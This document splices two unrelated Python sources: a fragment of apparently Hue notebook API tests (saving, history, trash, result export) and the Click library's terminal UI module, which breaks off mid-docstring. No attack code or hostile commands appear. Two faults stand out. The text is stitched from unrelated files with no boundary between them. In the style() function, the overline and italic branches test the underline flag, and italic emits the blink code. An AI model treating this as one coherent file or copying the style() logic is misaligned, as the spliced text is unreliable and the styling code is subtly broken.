'metastore';","properties":{"settings":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from default.web_logs where app = 'metastore';","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:save_notebook'), {'notebook': notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) doc = Document2.objects.get(pk=data['id']) assert_equal(Document2.objects.get_home_directory(self.user).uuid, doc.parent_directory.uuid) # Test that saving a notebook will save the search field to the first statement text assert_equal(doc.search, "select * from default.web_logs where app = 'metastore';") def test_historify(self): # Starts with no history assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(1, Document.objects.filter(name__contains=self.notebook['name']).count()) history_doc = _historify(self.notebook, self.user) assert_true(history_doc.id > 0) # Test that historify creates new Doc2 and linked Doc1 assert_equal(1, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(2, Document.objects.filter(name__contains=self.notebook['name']).count()) # Historify again history_doc = _historify(self.notebook, self.user) assert_equal(2, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) assert_equal(3, Document.objects.filter(name__contains=self.notebook['name']).count()) def test_get_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # History should not return history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', data=self.notebook_json, owner=self.user, is_history=True) # Verify that get_history API returns history objects for given type and current user response = self.client.get(reverse('notebook:get_history'), {'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal(3, len(data['history']), data) assert_true(all(doc['type'] == 'query-hive' for doc in data['history']), data) # TODO: test that query history for shared query only returns docs accessible by current user def test_clear_history(self): assert_equal(0, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) _historify(self.notebook, self.user) _historify(self.notebook, self.user) _historify(self.notebook, self.user) assert_equal(3, Document2.objects.filter(name__contains=self.notebook['name'], is_history=True).count()) # Clear history should not clear history objects that don't have the given doc type Document2.objects.create(name='Impala History', type='query-impala', owner=self.user, is_history=True) # clear history should retain original document but wipe history response = self.client.post(reverse('notebook:clear_history'), {'notebook': self.notebook_json, 'doc_type': 'hive'}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_false(Document2.objects.filter(type='query-hive', is_history=True).exists()) assert_true(Document2.objects.filter(type='query-hive', is_history=False).exists()) assert_true(Document2.objects.filter(type='query-impala', is_history=True).exists()) def test_delete_notebook(self): trash_notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id": "e069ef32-5c95-4507-b961-e79c090b5abf","type":"hive","status":"ready","database":"default","statement":"select * from web_logs","statement_raw":"select * from web_logs","variables":[],"properties":{"settings":[],"files":[],"functions":[]},"result":{}}], "uuid": "8a20da5f-b69c-4843-b17d-dea5c74c41d1" } """ # Assert that the notebook is first saved response = self.client.post(reverse('notebook:save_notebook'), {'notebook': trash_notebook_json}) data = json.loads(response.content) assert_equal(0, data['status'], data) # Test that deleting it moves it to the user's Trash folder notebook_doc = Document2.objects.get(id=data['id']) trash_notebooks = [Notebook(notebook_doc).get_data()] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 1 notebook(s)', data['message'], data) response = self.client.get('/desktop/api2/doc', {'path': '/.Trash'}) data = json.loads(response.content) trash_uuids = [doc['uuid'] for doc in data['children']] assert_true(notebook_doc.uuid in trash_uuids, data) # Test that any errors are reported in the response nonexistant_doc = { "id": 12345, "uuid": "ea22da5f-b69c-4843-b17d-dea5c74c41d1", "selectedSnippet": "hive", "showHistory": False, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": None, } ], "type": "query-hive", "snippets": [{ "id": "e069ef32-5c95-4507-b961-e79c090b5abf", "type": "hive", "status": "ready", "database": "default", "statement": "select * from web_logs", "statement_raw": "select * from web_logs", "variables": [], "properties": {"settings": [], "files": [], "functions": []}, "result": {} }] } trash_notebooks = [nonexistant_doc] response = self.client.post(reverse('notebook:delete'), {'notebooks': json.dumps(trash_notebooks)}) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('Trashed 0 notebook(s) and failed to delete 1 notebook(s).', data['message'], data) assert_equal(['ea22da5f-b69c-4843-b17d-dea5c74c41d1'], data['errors']) def test_query_error_encoding(self): @api_error_handler def send_exception(message): raise QueryError(message=message) message = """SELECT a.key, a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = """SELECT \u2002\u2002a.key, \u2002\u2002a.* FROM customers c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) message = u"""SELECT a.key, a.* FROM déclenché c, c.addresses a""" response = send_exception(message) data = json.loads(response.content) assert_equal(1, data['status']) class MockedApi(Api): def execute(self, notebook, snippet): return { 'sync': True, 'has_result_set': True, 'result': { 'has_more': False, 'data': [['test']], 'meta': [{ 'name': 'test', 'type': '', 'comment': '' }], 'type': 'table' } } def close_statement(self, notebook, snippet): pass def export_data_as_hdfs_file(self, snippet, target_file, overwrite): return {'destination': target_file} class MockFs(object): def __init__(self, logical_name=None): self.fs_defaultfs = 'hdfs://curacao:8020' self.logical_name = logical_name if logical_name else '' self.DEFAULT_USER = 'test' self.user = 'test' self._filebrowser_action = '' def setuser(self, user): self._user = user @property def user(self): return self._user def do_as_user(self, username, fn, *args, **kwargs): return '' def exists(self, path): return True def isdir(self, path): return path == '/user/hue' def filebrowser_action(self): return self._filebrowser_action @user.setter def user(self, value): self._user = value class TestNotebookApiMocked(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.client_not_me = make_logged_in_client(username="not_perm_user", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") self.user_not_me = User.objects.get(username="not_perm_user") # Beware: Monkey patch HS2API Mock API if not hasattr(notebook.connectors.hiveserver2, 'original_HS2Api'): # Could not monkey patch base.get_api notebook.connectors.hiveserver2.original_HS2Api = notebook.connectors.hiveserver2.HS2Api notebook.connectors.hiveserver2.HS2Api = MockedApi originalCluster.get_hdfs() self.original_fs = originalCluster.FS_CACHE["default"] originalCluster.FS_CACHE["default"] = MockFs() grant_access("test", "default", "notebook") grant_access("test", "default", "beeswax") grant_access("test", "default", "hive") grant_access("not_perm_user", "default", "notebook") grant_access("not_perm_user", "default", "beeswax") grant_access("not_perm_user", "default", "hive") add_permission('test', 'has_adls', permname='adls_access', appname='filebrowser') def tearDown(self): notebook.connectors.hiveserver2.HS2Api = notebook.connectors.hiveserver2.original_HS2Api if originalCluster.FS_CACHE is None: originalCluster.FS_CACHE = {} originalCluster.FS_CACHE["default"] = self.original_fs @attr('integration') def test_export_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/Test Hive Query.csv', data['watch_url']['destination'], data) response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('/user/hue/path.csv', data['watch_url']['destination'], data) if is_adls_enabled(): response = self.client.post(reverse('notebook:export_result'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': json.dumps('hdfs-file'), 'destination': json.dumps('adl:/user/hue/path.csv'), 'overwrite': json.dumps(False) }) data = json.loads(response.content) assert_equal(0, data['status'], data) assert_equal('adl:/user/hue/path.csv', data['watch_url']['destination'], data) def test_download_result(self): notebook_json = """ { "selectedSnippet": "hive", "showHistory": false, "description": "Test Hive Query", "name": "Test Hive Query", "sessions": [ { "type": "hive", "properties": [], "id": null } ], "type": "query-hive", "id": null, "snippets": [{"id":"2b7d1f46-17a0-30af-efeb-33d4c29b1055","type":"hive","status":"running","statement":"select * from web_logs","properties":{"settings":[],"variables":[],"files":[],"functions":[]},"result":{"id":"b424befa-f4f5-8799-a0b4-79753f2552b1","type":"table","handle":{"log_context":null,"statements_count":1,"end":{"column":21,"row":0},"statement_id":0,"has_more_statements":false,"start":{"column":0,"row":0},"secret":"rVRWw7YPRGqPT7LZ/TeFaA==an","has_result_set":true,"statement":"select * from web_logs","operation_type":0,"modified_row_count":null,"guid":"7xm6+epkRx6dyvYvGNYePA==an"}},"lastExecuted": 1462554843817,"database":"default"}], "uuid": "d9efdee1-ef25-4d43-b8f9-1a170f69a05a" } """ response = self.client.post(reverse('notebook:download'), { 'notebook': notebook_json, 'snippet': json.dumps(json.loads(notebook_json)['snippets'][0]), 'format': 'csv' }) content = "".join(response) assert_true(len(content) > 0) def test_get_interpreters_to_show(): default_interpreters = OrderedDict(( ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'type': 'hive', 'is_sql': True, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'type': 'pig', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }) )) expected_interpreters = OrderedDict(( ('java', { 'name': 'Java', 'interface': 'oozie', 'type': 'java', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'java' }), ('pig', { 'name': 'Pig', 'interface': 'pig', 'is_sql': False, 'type': 'pig', 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'pig' }), ('hive', { 'name': 'Hive', 'interface': 'hiveserver2', 'is_sql': True, 'type': 'hive', 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'hive' }), ('spark', { 'name': 'Scala', 'interface': 'livy', 'type': 'spark', 'is_sql': False, 'options': {}, 'is_catalog': False, 'category': 'editor', 'dialect': 'scala' }) )) try: resets = [INTERPRETERS.set_for_testing(default_interpreters), APP_BLACKLIST.set_for_testing('')] appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) interpreters_shown_on_wheel_unset = get_ordered_interpreters() assert_equal( list(default_interpreters.values()), interpreters_shown_on_wheel_unset, 'get_interpreters_to_show should return the same as get_interpreters when interpreters_shown_on_wheel is unset. expected: %s, actual: %s' % ( list(default_interpreters.values()), interpreters_shown_on_wheel_unset ) ) resets.append(INTERPRETERS_SHOWN_ON_WHEEL.set_for_testing('java,pig')) assert_equal(list(expected_interpreters.values()), get_ordered_interpreters(), 'get_interpreters_to_show did not return interpreters in the correct order expected: %s, actual: %s' % (list(expected_interpreters.values()), get_ordered_interpreters())) finally: for reset in resets: reset() appmanager.DESKTOP_MODULES = [] appmanager.DESKTOP_APPS = None appmanager.load_apps(APP_BLACKLIST.get()) class TestAnalytics(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="default", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") def test_basic_stats(self): try: doc, created = Document2.objects.get_or_create(name='test_query_stats', type='query-hive', owner=self.user, data={}) Analytics.admin_stats() Analytics.user_stats(user=self.user) Analytics.query_stats(query=doc) finally: doc.delete() class TestEditor(object): def setUp(self): self.client = make_logged_in_client(username="test", groupname="empty", recreate=True, is_superuser=False) self.user = User.objects.get(username="test") grant_access("test", "empty", "impala") def test_open_saved_impala_query_when_no_hive_interepreter(self): try: doc, created = Document2.objects.get_or_create(name='open_saved_query_with_hive_not_present', type='query-impala', owner=self.user, data={}) with patch('desktop.middleware.fsmanager') as fsmanager: response = self.client.get(reverse('notebook:editor'), {'editor': doc.id, 'is_embeddable': True}) assert_equal(200, response.status_code) finally: doc.delete()
import inspect import io import itertools import os import sys import typing import typing as t from gettext import gettext as _ from ._compat import isatty from ._compat import strip_ansi from ._compat import WIN from .exceptions import Abort from .exceptions import UsageError from .globals import resolve_color_default from .types import Choice from .types import convert_type from .types import ParamType from .utils import echo from .utils import LazyFile if t.TYPE_CHECKING: from ._termui_impl import ProgressBar V = t.TypeVar("V") # The prompt functions to use. The doc tools currently override these # functions to customize how they work. visible_prompt_func: t.Callable[[str], str] = input _ansi_colors = { "black": 30, "red": 31, "green": 32, "yellow": 33, "blue": 34, "magenta": 35, "cyan": 36, "white": 37, "reset": 39, "bright_black": 90, "bright_red": 91, "bright_green": 92, "bright_yellow": 93, "bright_blue": 94, "bright_magenta": 95, "bright_cyan": 96, "bright_white": 97, } _ansi_reset_all = "\033[0m" def hidden_prompt_func(prompt: str) -> str: import getpass return getpass.getpass(prompt) def _build_prompt( text: str, suffix: str, show_default: bool = False, default: t.Optional[t.Any] = None, show_choices: bool = True, type: t.Optional[ParamType] = None, ) -> str: prompt = text if type is not None and show_choices and isinstance(type, Choice): prompt += f" ({", ".join(map(str, type.choices))})" if default is not None and show_default: prompt = f"{prompt} [{_format_default(default)}]" return f"{prompt}{suffix}" def _format_default(default: t.Any) -> t.Any: if isinstance(default, (io.IOBase, LazyFile)) and hasattr(default, "name"): return default.name # type: ignore return default def prompt( text: str, default: t.Optional[t.Any] = None, hide_input: bool = False, confirmation_prompt: t.Union[bool, str] = False, type: t.Optional[ParamType] = None, value_proc: t.Optional[t.Callable[[str], t.Any]] = None, prompt_suffix: str = ": ", show_default: bool = True, err: bool = False, show_choices: bool = True, ) -> t.Any: """Prompts a user for input. This is a convenience function that can be used to prompt a user for input later. If the user aborts the input by sending a interrupt signal, this function will catch it and raise a :exc:`Abort` exception. :param text: the text to show for the prompt. :param default: the default value to use if no input happens. If this is not given it will prompt until it's aborted. :param hide_input: if this is set to true then the input value will be hidden. :param confirmation_prompt: Prompt a second time to confirm the value. Can be set to a string instead of ``True`` to customize the message. :param type: the type to use to check the value against. :param value_proc: if this parameter is provided it's a function that is invoked instead of the type conversion to convert a value. :param prompt_suffix: a suffix that should be added to the prompt. :param show_default: shows or hides the default value in the prompt. :param err: if set to true the file defaults to ``stderr`` instead of ``stdout``, the same as with echo. :param show_choices: Show or hide choices if the passed type is a Choice. For example if type is a Choice of either day or week, show_choices is true and text is "Group by" then the prompt will be "Group by (day, week): ". .. versionadded:: 8.0 ``confirmation_prompt`` can be a custom string. .. versionadded:: 7.0 Added the ``show_choices`` parameter. .. versionadded:: 6.0 Added unicode support for cmd.exe on Windows. .. versionadded:: 4.0 Added the `err` parameter. """ def prompt_func(text: str) -> str: f = hidden_prompt_func if hide_input else visible_prompt_func try: # Write the prompt separately so that we get nice # coloring through colorama on Windows echo(text.rstrip(" "), nl=False, err=err) # Echo a space to stdout to work around an issue where # readline causes backspace to clear the whole line. return f(" ") except (KeyboardInterrupt, EOFError): # getpass doesn't print a newline if the user aborts input with ^C. # Allegedly this behavior is inherited from getpass(3). # A doc bug has been filed at https://bugs.python.org/issue24711 if hide_input: echo(None, err=err) raise Abort() if value_proc is None: value_proc = convert_type(type, default) prompt = _build_prompt( text, prompt_suffix, show_default, default, show_choices, type ) if confirmation_prompt: if confirmation_prompt is True: confirmation_prompt = _("Repeat for confirmation") confirmation_prompt = t.cast(str, confirmation_prompt) confirmation_prompt = _build_prompt(confirmation_prompt, prompt_suffix) while True: while True: value = prompt_func(prompt) if value: break elif default is not None: value = default break try: result = value_proc(value) except UsageError as e: if hide_input: echo(_("Error: The value you entered was invalid."), err=err) else: echo(_("Error: {e.message}").format(e=e), err=err) # noqa: B306 continue if not confirmation_prompt: return result while True: confirmation_prompt = t.cast(str, confirmation_prompt) value2 = prompt_func(confirmation_prompt) if value2: break if value == value2: return result echo(_("Error: The two entered values do not match."), err=err) def confirm( text: str, default: t.Optional[bool] = False, abort: bool = False, prompt_suffix: str = ": ", show_default: bool = True, err: bool = False, ) -> bool: """Prompts for confirmation (yes/no question). If the user aborts the input by sending a interrupt signal this function will catch it and raise a :exc:`Abort` exception. :param text: the question to ask. :param default: The default value to use when no input is given. If ``None``, repeat until input is given. :param abort: if this is set to `True` a negative answer aborts the exception by raising :exc:`Abort`. :param prompt_suffix: a suffix that should be added to the prompt. :param show_default: shows or hides the default value in the prompt. :param err: if set to true the file defaults to ``stderr`` instead of ``stdout``, the same as with echo. .. versionchanged:: 8.0 Repeat until input is given if ``default`` is ``None``. .. versionadded:: 4.0 Added the ``err`` parameter. """ prompt = _build_prompt( text, prompt_suffix, show_default, "y/n" if default is None else ("Y/n" if default else "y/N"), ) while True: try: # Write the prompt separately so that we get nice # coloring through colorama on Windows echo(prompt, nl=False, err=err) value = visible_prompt_func("").lower().strip() except (KeyboardInterrupt, EOFError): raise Abort() if value in ("y", "yes"): rv = True elif value in ("n", "no"): rv = False elif default is not None and value == "": rv = default else: echo(_("Error: invalid input"), err=err) continue break if abort and not rv: raise Abort() return rv def get_terminal_size() -> os.terminal_size: """Returns the current size of the terminal as tuple in the form ``(width, height)`` in columns and rows. .. deprecated:: 8.0 Will be removed in Click 8.1. Use :func:`shutil.get_terminal_size` instead. """ import shutil import warnings warnings.warn( "'click.get_terminal_size()' is deprecated and will be removed" " in Click 8.1. Use 'shutil.get_terminal_size()' instead.", DeprecationWarning, stacklevel=2, ) return shutil.get_terminal_size() def echo_via_pager( text_or_generator: t.Union[t.Iterable[str], t.Callable[[], t.Iterable[str]], str], color: t.Optional[bool] = None, ) -> None: """This function takes a text and shows it via an environment specific pager on stdout. .. versionchanged:: 3.0 Added the `color` flag. :param text_or_generator: the text to page, or alternatively, a generator emitting the text to page. :param color: controls if the pager supports ANSI colors or not. The default is autodetection. """ color = resolve_color_default(color) if inspect.isgeneratorfunction(text_or_generator): i = t.cast(t.Callable[[], t.Iterable[str]], text_or_generator)() elif isinstance(text_or_generator, str): i = [text_or_generator] else: i = iter(t.cast(t.Iterable[str], text_or_generator)) # convert every element of i to a text type if necessary text_generator = (el if isinstance(el, str) else str(el) for el in i) from ._termui_impl import pager return pager(itertools.chain(text_generator, "\n"), color) def progressbar( iterable: t.Optional[t.Iterable[V]] = None, length: t.Optional[int] = None, label: t.Optional[str] = None, show_eta: bool = True, show_percent: t.Optional[bool] = None, show_pos: bool = False, item_show_func: t.Optional[t.Callable[[t.Optional[V]], t.Optional[str]]] = None, fill_char: str = "#", empty_char: str = "-", bar_template: str = "%(label)s [%(bar)s] %(info)s", info_sep: str = " ", width: int = 36, file: t.Optional[t.TextIO] = None, color: t.Optional[bool] = None, update_min_steps: int = 1, ) -> "ProgressBar[V]": """This function creates an iterable context manager that can be used to iterate over something while showing a progress bar. It will either iterate over the `iterable` or `length` items (that are counted up). While iteration happens, this function will print a rendered progress bar to the given `file` (defaults to stdout) and will attempt to calculate remaining time and more. By default, this progress bar will not be rendered if the file is not a terminal. The context manager creates the progress bar. When the context manager is entered the progress bar is already created. With every iteration over the progress bar, the iterable passed to the bar is advanced and the bar is updated. When the context manager exits, a newline is printed and the progress bar is finalized on screen. Note: The progress bar is currently designed for use cases where the total progress can be expected to take at least several seconds. Because of this, the ProgressBar class object won't display progress that is considered too fast, and progress where the time between steps is less than a second. No printing must happen or the progress bar will be unintentionally destroyed. Example usage:: with progressbar(items) as bar: for item in bar: do_something_with(item) Alternatively, if no iterable is specified, one can manually update the progress bar through the `update()` method instead of directly iterating over the progress bar. The update method accepts the number of steps to increment the bar with:: with progressbar(length=chunks.total_bytes) as bar: for chunk in chunks: process_chunk(chunk) bar.update(chunks.bytes) The ``update()`` method also takes an optional value specifying the ``current_item`` at the new position. This is useful when used together with ``item_show_func`` to customize the output for each manual step:: with click.progressbar( length=total_size, label='Unzipping archive', item_show_func=lambda a: a.filename ) as bar: for archive in zip_file: archive.extract() bar.update(archive.size, archive) :param iterable: an iterable to iterate over. If not provided the length is required. :param length: the number of items to iterate over. By default the progressbar will attempt to ask the iterator about its length, which might or might not work. If an iterable is also provided this parameter can be used to override the length. If an iterable is not provided the progress bar will iterate over a range of that length. :param label: the label to show next to the progress bar. :param show_eta: enables or disables the estimated time display. This is automatically disabled if the length cannot be determined. :param show_percent: enables or disables the percentage display. The default is `True` if the iterable has a length or `False` if not. :param show_pos: enables or disables the absolute position display. The default is `False`. :param item_show_func: A function called with the current item which can return a string to show next to the progress bar. If the function returns ``None`` nothing is shown. The current item can be ``None``, such as when entering and exiting the bar. :param fill_char: the character to use to show the filled part of the progress bar. :param empty_char: the character to use to show the non-filled part of the progress bar. :param bar_template: the format string to use as template for the bar. The parameters in it are ``label`` for the label, ``bar`` for the progress bar and ``info`` for the info section. :param info_sep: the separator between multiple info items (eta etc.) :param width: the width of the progress bar in characters, 0 means full terminal width :param file: The file to write to. If this is not a terminal then only the label is printed. :param color: controls if the terminal supports ANSI colors or not. The default is autodetection. This is only needed if ANSI codes are included anywhere in the progress bar output which is not the case by default. :param update_min_steps: Render only when this many updates have completed. This allows tuning for very fast iterators. .. versionchanged:: 8.0 Output is shown even if execution time is less than 0.5 seconds. .. versionchanged:: 8.0 ``item_show_func`` shows the current item, not the previous one. .. versionchanged:: 8.0 Labels are echoed if the output is not a TTY. Reverts a change in 7.0 that removed all output. .. versionadded:: 8.0 Added the ``update_min_steps`` parameter. .. versionchanged:: 4.0 Added the ``color`` parameter. Added the ``update`` method to the object. .. versionadded:: 2.0 """ from ._termui_impl import ProgressBar color = resolve_color_default(color) return ProgressBar( iterable=iterable, length=length, show_eta=show_eta, show_percent=show_percent, show_pos=show_pos, item_show_func=item_show_func, fill_char=fill_char, empty_char=empty_char, bar_template=bar_template, info_sep=info_sep, file=file, label=label, width=width, color=color, update_min_steps=update_min_steps, ) def clear() -> None: """Clears the terminal screen. This will have the effect of clearing the whole visible space of the terminal and moving the cursor to the top left. This does not do anything if not connected to a terminal. .. versionadded:: 2.0 """ if not isatty(sys.stdout): return if WIN: os.system("cls") else: sys.stdout.write("\033[2J\033[1;1H") def _interpret_color( color: t.Union[int, t.Tuple[int, int, int], str], offset: int = 0 ) -> str: if isinstance(color, int): return f"{38 + offset};5;{color:d}" if isinstance(color, (tuple, list)): r, g, b = color return f"{38 + offset};2;{r:d};{g:d};{b:d}" return str(_ansi_colors[color] + offset) def style( text: t.Any, fg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, bg: t.Optional[t.Union[int, t.Tuple[int, int, int], str]] = None, bold: t.Optional[bool] = None, dim: t.Optional[bool] = None, underline: t.Optional[bool] = None, overline: t.Optional[bool] = None, italic: t.Optional[bool] = None, blink: t.Optional[bool] = None, reverse: t.Optional[bool] = None, strikethrough: t.Optional[bool] = None, reset: bool = True, ) -> str: """Styles a text with ANSI styles and returns the new string. By default the styling is self contained which means that at the end of the string a reset code is issued. This can be prevented by passing ``reset=False``. Examples:: click.echo(click.style('Hello World!', fg='green')) click.echo(click.style('ATTENTION!', blink=True)) click.echo(click.style('Some things', reverse=True, fg='cyan')) click.echo(click.style('More colors', fg=(255, 12, 128), bg=117)) Supported color names: * ``black`` (might be a gray) * ``red`` * ``green`` * ``yellow`` (might be an orange) * ``blue`` * ``magenta`` * ``cyan`` * ``white`` (might be light gray) * ``bright_black`` * ``bright_red`` * ``bright_green`` * ``bright_yellow`` * ``bright_blue`` * ``bright_magenta`` * ``bright_cyan`` * ``bright_white`` * ``reset`` (reset the color code only) If the terminal supports it, color may also be specified as: - An integer in the interval [0, 255]. The terminal must support 8-bit/256-color mode. - An RGB tuple of three integers in [0, 255]. The terminal must support 24-bit/true-color mode. See https://en.wikipedia.org/wiki/ANSI_color and https://gist.github.com/XVilka/8346728 for more information. :param text: the string to style with ansi codes. :param fg: if provided this will become the foreground color. :param bg: if provided this will become the background color. :param bold: if provided this will enable or disable bold mode. :param dim: if provided this will enable or disable dim mode. This is badly supported. :param underline: if provided this will enable or disable underline. :param overline: if provided this will enable or disable overline. :param italic: if provided this will enable or disable italic. :param blink: if provided this will enable or disable blinking. :param reverse: if provided this will enable or disable inverse rendering (foreground becomes background and the other way round). :param strikethrough: if provided this will enable or disable striking through text. :param reset: by default a reset-all code is added at the end of the string which means that styles do not carry over. This can be disabled to compose styles. .. versionchanged:: 8.0 A non-string ``message`` is converted to a string. .. versionchanged:: 8.0 Added support for 256 and RGB color codes. .. versionchanged:: 8.0 Added the ``strikethrough``, ``italic``, and ``overline`` parameters. .. versionchanged:: 7.0 Added support for bright colors. .. versionadded:: 2.0 """ if not isinstance(text, str): text = str(text) bits = [] if fg: try: bits.append(f"\033[{_interpret_color(fg)}m") except KeyError: raise TypeError(f"Unknown color {fg!r}") if bg: try: bits.append(f"\033[{_interpret_color(bg, 10)}m") except KeyError: raise TypeError(f"Unknown color {bg!r}") if bold is not None: bits.append(f"\033[{1 if bold else 22}m") if dim is not None: bits.append(f"\033[{2 if dim else 22}m") if underline is not None: bits.append(f"\033[{4 if underline else 24}m") if overline is not None: bits.append(f"\033[{53 if underline else 55}m") if italic is not None: bits.append(f"\033[{5 if underline else 23}m") if blink is not None: bits.append(f"\033[{5 if blink else 25}m") if reverse is not None: bits.append(f"\033[{7 if reverse else 27}m") if strikethrough is not None: bits.append(f"\033[{9 if strikethrough else 29}m") bits.append(text) if reset: bits.append(_ansi_reset_all) return "".join(bits) def unstyle(text: str) -> str: """Removes ANSI styling information from a string. Usually it's not necessary to use this function as Click's echo function will automatically remove styling if necessary. .. versionadded:: 2.0 :param text: the text to remove style information from. """ return strip_ansi(text) def secho( message: t.Optional[t.Any] = None, file: t.Optional[t.IO] = None, nl: bool = True, err: bool = False, color: t.Optional[bool] = None, **styles: t.Any, ) -> None: """This function combines :func:`echo` and :func:`style` into one call. As such the following two calls are the same:: click.secho('Hello World!', fg='green') click.echo(click.style('Hello World!', fg='green')) All keyword arguments are forwarded to the underlying functions depending on which one they go with. Non-string types will be converted to :class:`str`. However, :class:`bytes` are passed directly to :meth:`echo` without applying style. If you want to style bytes that represent text, call :meth:`bytes.decode` first. .. versionchanged:: 8.0 A non-string ``message`` is converted to a string. Bytes are passed through without style applied. .. versionadded:: 2.0 """ if message is not None and not isinstance(message, (bytes, bytearray)): message = style(message, **styles) return echo(message, file=file, nl=nl, err=err, color=color) def edit( text: t.Optional[t.AnyStr] = None, editor: t.Optional[str] = None, env: t.Optional[t.Mapping[str, str]] = None, require_save: bool = True, extension: str = ".txt", filename: t.Optional[str] = None, ) -> t.Optional[t.AnyStr]: r"""Edits the given text in the defined editor. If an editor is given (should be the full path to the executable but the regular operating system search path is used for finding the executable) it overrides the detected editor. Optionally, some environment variables can be used. If the editor is closed without changes, `None` is returned. In case a file is edited directly the return value is always `None` and `require_save` and `extension` are ignored. If the editor cannot be opened a :exc:`UsageError` is raised. Note for Windows: to simplify cross-platform usage, the newlines are automatically converted from POSIX to Windows and vice versa. As such, the message here will have ``\n`` as newline markers. :param text: the text to edit. :param editor: optionally the editor to use. Defaults to automatic detection. :param env: environment variables to forward to the editor. :param require_save: if this is true, then not saving in the editor will make the return value become `None`. :param extension: the extension to tell the editor about. This defaults to `.txt` but changing this might change syntax highlighting. :param filename: if provided it will edit this file instead of the provided text contents. It will not use a temporary file as an indirection in that case. """ from ._termui_impl import Editor ed = Editor(editor=editor, env=env, require_save=require_save, extension=extension) if filename is None: return ed.edit(text) ed.edit_file(filename) return None def launch(url: str, wait: bool = False, locate: bool = False) -> int: """This function launches the given URL (or filename) in the default viewer application for this file type. If this is an executable, it might launch the executable in a new session. The return value is the exit code of the launched application. Usually, ``0`` indicates success. Examples:: click.launch('https://click.palletsprojects.com/') click.launch('/my/downloaded/file', locate=True) .. versionadded:: 2.0 :param url: URL or filename of the thing to launch. :param wait: Wait for the program to exit before returning. This only works if the launched program blocks. In particular, ``xdg-open`` on Linux does not block. :param locate: if this is set to `True` then instead of launching the application associated with the URL it will attempt to launch a file manager with the file located. This might have weird effects if the 